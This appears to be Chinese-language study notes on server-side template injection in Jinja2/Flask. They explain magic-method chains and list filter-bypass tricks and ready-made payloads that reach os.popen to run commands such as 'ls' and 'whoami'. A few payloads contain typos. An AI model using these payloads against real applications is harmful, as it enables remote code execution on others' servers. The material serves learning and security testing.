SSTI
模板引擎:動態資料和靜態模板結合產生的輸出工具
ssti:是伺服器端的模板注入漏洞
攻擊者 將惡意程式碼輸入到模板 伺服器在執行時未對惡意程式碼進行處理 就輸出執行
將字串 當作模板執行
ssti注入就是使其渲染我們想要執行的的字串
為什麼要用{}
{{}}
在jinja2中作為變數包裹識別符號,也就是被{{}}
包裹的內容會被當作變數解析出來
所以{{惡意程式碼}} 實現類似SQL隱碼攻擊
魔術方法
__class__ :返回型別所屬的物件
__mro__ :返回一個包含物件所繼承的基類元組,方法在解析時按照元組的順序解析。
__base__ :返回該物件所繼承的父類
__mro__ :返回該物件的所有父類
__subclasses__() 獲取當前類的所有子類
__init__ 類的初始化方法
__globals__ 對包含(儲存)函式全域性變數的字典的引用
__getitem__() 呼叫字典中的鍵值,其實就是呼叫這個魔術方法,比如a['b'],就是a.__getitem__('b')
__import__ 動態載入類和函式,也就是匯入模組,經常用於匯入os模組,__import__('os').popen('ls').read()]
__str__() 返回描寫這個物件的字串,可以理解成就是列印出來。
read():讀取開啟了的檔案的內容
繼承關係
建立四個類 依次繼承
在建立一個C的物件c,用__class__
找到他當前的類
返回類為C 接著找父類
返回為B 接著找父類 直到父類為object
或者直接一步到位使用__mro__
__mro__
方法以陣列的形式返回 可以傳入’標‘ 得到想要的陣列
得到object之後 檢視object類下的所有的子類
我們最終的目的是為執行命令獲取欄位 所以要找能執行命令的函式,如
popen
,eval
和system()
函式或者能開啟檔案的函式open
一般情況下會用popen
函式 因為system()
函式沒回顯,popen
函式有回顯
所以 需要知道這些子類裡面哪個有能執行命令的函式
<wrap_close>
子類就是其中之一
接著初始化 初始化相當於 建立一個新的例項
然後用__globals__
方法將獲取到的方法以字典的形式返回
接下來 可以用popen
函式執行命令 執行一下whoami
繞過
{{"".__class__}}
繞過.
用[]
代替.
{{""['__class__']}}
用attr()過濾器繞過
{{""|sttr('__class__')}}
繞過_
十六進位制編碼
{{“”["\x5f\x5fclass\x5f\x5f"]}}
繞過[]
用__getitem__
魔術方法
__subclasses()__.__getitem__(133)
繞過{
{%print(xxxxxxxxxxxx)%}
{%print(“”.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read())%}
for迴圈
{%for i in ''.__class__.__base__.__base__.__base__.__subclasses__().__getitem__(142).__init__.__globals__['popen']('whoami').read()%}{%endif%}{%endfor%}
繞過'
和"
採用 request.args.a
{{url_for.__globals__['__builtins__']}} 等於
{{url_for.__globals__[request.args.a]}}&a=__builtins__
繞過args
當args被過濾掉時,採用request.cookies.a
和request.values.a
{{url_for.__globals__[request.cookies.a]}}
COOkie: "a" :'__builtins__'
繞過數字
構造的數字
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{a}} #117
10個a*12個a-3個a=117個a
構造paylaod
{% set a=’aaaaaaaaaa’|length*’aaaaaaaaaaaa’|length-’aaa’ |length %}{{“”.__class__.__bases__.__subclasses__()[a].__init__.__ globals__[‘os’].popen(“ls”).read()}}
繞過關鍵字
拼接繞過 如 __class__
{{dict(__cla=a,s=b)|join}}
語句
From Tuple to RCE
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
{%for(x)in().__class__.__base__.__subclasses__()%}
for迴圈 遍歷object的每一個子類
{%if'war'in(x).__name__ %}
判斷子類名稱中是否含有 war
條件為真就執行以下程式碼
{{x()._module.__builtins__['__import__']('os').popen('ls').read()}}{%endif%}{%endfor%}
, 例項化找到的子類 (x())
,訪問該例項的模組屬性,然後訪問內建模組 __builtins__
..
From Flask g to RCE
{{g.pop.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
g全域性變數,pop() 函式用於移除列表中的一個元素(預設最後一個元素),並且返回該元素的值。
大概就是 返回全域性變數裡的最後一個值
From url_for to RCE
{{url_for.__globals__.__builtins__['__import__']('os').popen('ls').read()}}
url_for 用於構建指定函式的url
From
{{url_for.__globals__.current_app.add_url_rule('/1333337',view_func=url_for.__globals__.__builtins__['__import__']('os').popen('ls').read)}}